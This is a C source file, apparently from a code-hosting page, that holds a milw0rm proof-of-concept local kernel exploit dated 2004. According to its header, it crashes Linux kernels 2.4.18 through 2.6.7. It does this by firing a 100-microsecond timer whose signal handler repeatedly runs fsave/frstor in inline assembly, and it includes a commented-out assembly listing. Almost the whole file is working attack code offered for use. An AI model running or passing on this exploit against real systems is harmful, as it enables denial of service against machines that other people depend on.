477bcbdcc0
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73 lines
1.7 KiB
C
Executable file
73 lines
1.7 KiB
C
Executable file
/* -----------------------------------------------------------------------------
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* frstor Local Kernel exploit
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* Crashes any kernel from 2.4.18
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* to 2.6.7 because frstor in assembler inline offsets in memory by 4.
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* Original proof of concept code
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* by stian_@_nixia.no.
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* Added some stuff by lorenzo_@_gnu.org
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* and fixed the fsave line with (*fpubuf).
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* -----------------------------------------------------------------------------
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*/
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/*
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-----------------------------------------
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Some debugging information made
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available by stian_@_nixia.no
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-----------------------------------------
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TakeDown:
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pushl %ebp
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movl %esp, %ebp
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subl $136, %esp
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leal -120(%ebp), %eax
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movl %eax, -124(%ebp)
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#APP
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fsave -124(%ebp)
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#NO_APP
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subl $4, %esp
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pushl $1
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pushl $.LC0
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pushl $2
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call write
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addl $16, %esp
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leal -120(%ebp), %eax
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movl %eax, -128(%ebp)
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#APP
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frstor -128(%ebp)
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#NO_APP
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leave
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ret
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*/
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#include <sys/time.h>
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#include <signal.h>
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#include <unistd.h>
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static void TakeDown(int ignore)
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{
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char fpubuf[108];
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// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
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__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
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write(2, "*", 1);
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__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
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}
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int main(int argc, char *argv[])
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{
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struct itimerval spec;
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signal(SIGALRM, TakeDown);
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spec.it_interval.tv_sec=0;
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spec.it_interval.tv_usec=100;
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spec.it_value.tv_sec=0;
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spec.it_value.tv_usec=100;
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setitimer(ITIMER_REAL, &spec, NULL);
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while(1)
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write(1, ".", 1);
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return 0;
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}
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// <<EOF
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// milw0rm.com [2004-06-25]
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